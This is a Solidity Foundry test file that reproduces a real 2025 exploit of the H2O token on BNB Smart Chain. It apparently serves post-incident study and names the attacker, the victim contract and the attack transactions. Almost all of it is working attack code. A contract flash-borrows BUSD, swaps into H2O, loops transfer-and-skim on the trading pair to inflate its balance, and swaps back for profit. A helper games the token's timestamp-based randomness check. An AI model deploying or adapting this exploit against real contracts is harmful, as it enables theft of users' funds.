src/test/2025-03/H2O_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 22470 USD
8// Attacker : https://bscscan.com/address/0x8842dd26fd301c74afc4df12e9cdabd9db107d1e
9// Attack Contract : https://bscscan.com/address/0x03ca8b574dd4250576f7bccc5707e6214e8c6e0d
10// Vulnerable Contract : https://bscscan.com/address/0xe9c4d4f095c7943a9ef5ec01afd1385d011855a1
11// Attack Tx 1(Loss profit) : https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7
12// Attack Tx 2(revert) : https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd
13// Attack Tx 3(revert) : https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e
14// Attack Tx 4(profit) : https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3
15// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
16 
17// Contracts involved
18address constant H2O = 0xe9c4D4f095C7943a9ef5EC01AfD1385D011855A1;
19address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
20 
21address constant pancakeSwapFactoryV2 = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
22address constant PancakeV3Pool = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;
23address constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
24 
25contract H2O_exp is Test {
26    address attacker = makeAddr("attacker");
27 
28    function setUp() public {
29        vm.createSelectFork("bsc", 47_454_899 - 1);
30    }
31 
32    function testPoC() public {
33        vm.startPrank(attacker);
34        AttackerC attC = new AttackerC();
35 
36        // Fund the contract
37        deal(BUSD, address(attC), 300 ether);
38 
39        // 1st attack(No profit): https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7
40        _setRandomIn(0);
41        attC.attack();
42        console2.log("Profit:", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);
43 
44        // 2nd attack(revert), fail random check: https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd
45        
46        // 3rd attack(revert), fail random check: https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e
47        
48        // 4th attack: https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3
49        
50        _setRandomIn(1);
51        attC.attack();
52        console2.log("Profit:", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);
53    }
54 
55    function _setRandomIn(uint256 n) internal {
56        while(true) {
57            bytes32 randomBytes = keccak256(abi.encodePacked(
58                block.timestamp, 
59                IFS(H2O).pair(),
60                blockhash(block.number-1))
61            );
62            uint256 r = uint256(randomBytes) % 2;
63            if (r == n) break;
64            vm.warp(block.timestamp + 1);
65        }
66    }
67}
68 
69contract AttackerC {
70    address pair;
71 
72    function attack() external {
73        pair = IFS(pancakeSwapFactoryV2).getPair(H2O, BUSD);
74        
75        IFS(PancakeV3Pool).flash(
76            address(this), 
77            100000 ether,
78            0,
79            ""
80        );
81 
82    }
83 
84    function pancakeV3FlashCallback(
85        uint256 fee0,
86        uint256 fee1,
87        bytes calldata data
88    ) external {
89        uint256 bal0 = IFS(BUSD).balanceOf(address(this));
90        IFS(BUSD).approve(pancakeSwapRouterV2, type(uint256).max);
91 
92        address[] memory path = new address[](2);
93        path[0] = BUSD;
94        path[1] = H2O;
95        IFS(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(
96            bal0,
97            0,
98            path,
99            address(this),
100            block.timestamp
101        );
102 
103        for (uint256 i = 0; i < 50; i++) {
104            uint256 bal = IFS(H2O).balanceOf(address(this));
105            IFS(H2O).transfer(pair, bal);
106            IFS(pair).skim(address(this));
107        }
108 
109        uint256 bal1 = IFS(H2O).balanceOf(address(this));
110        console2.log(bal1);
111 
112        IFS(H2O).approve(pancakeSwapRouterV2, type(uint256).max);
113 
114        address[] memory path2 = new address[](2);
115        path2[0] = H2O;
116        path2[1] = BUSD;
117        IFS(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(
118            bal1,
119            0,
120            path2,
121            address(this),
122            block.timestamp
123        );
124 
125        IFS(BUSD).transfer(PancakeV3Pool, 100000 ether + fee0);
126    }
127}
128 
129interface IFS is IERC20 {
130    // PancakeSwap: Pair
131    function skim(address to) external;
132 
133    // PancakeSwap: Factory v2
134    function getPair(address tokenA, address tokenB) external view returns (address pair);
135 
136    // PancakeV3Pool
137    function flash(
138        address recipient,
139        uint256 amount0,
140        uint256 amount1,
141        bytes calldata data
142    ) external;
143 
144    function pancakeV3FlashCallback(
145        uint256 fee0,
146        uint256 fee1,
147        bytes calldata data
148    ) external;
149 
150    // IPancakeRouter02
151    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
152        uint amountIn,
153        uint amountOutMin,
154        address[] calldata path,
155        address to,
156        uint deadline
157    ) external;
158 
159    // H2O
160    function pair() external view returns(address);
161}
162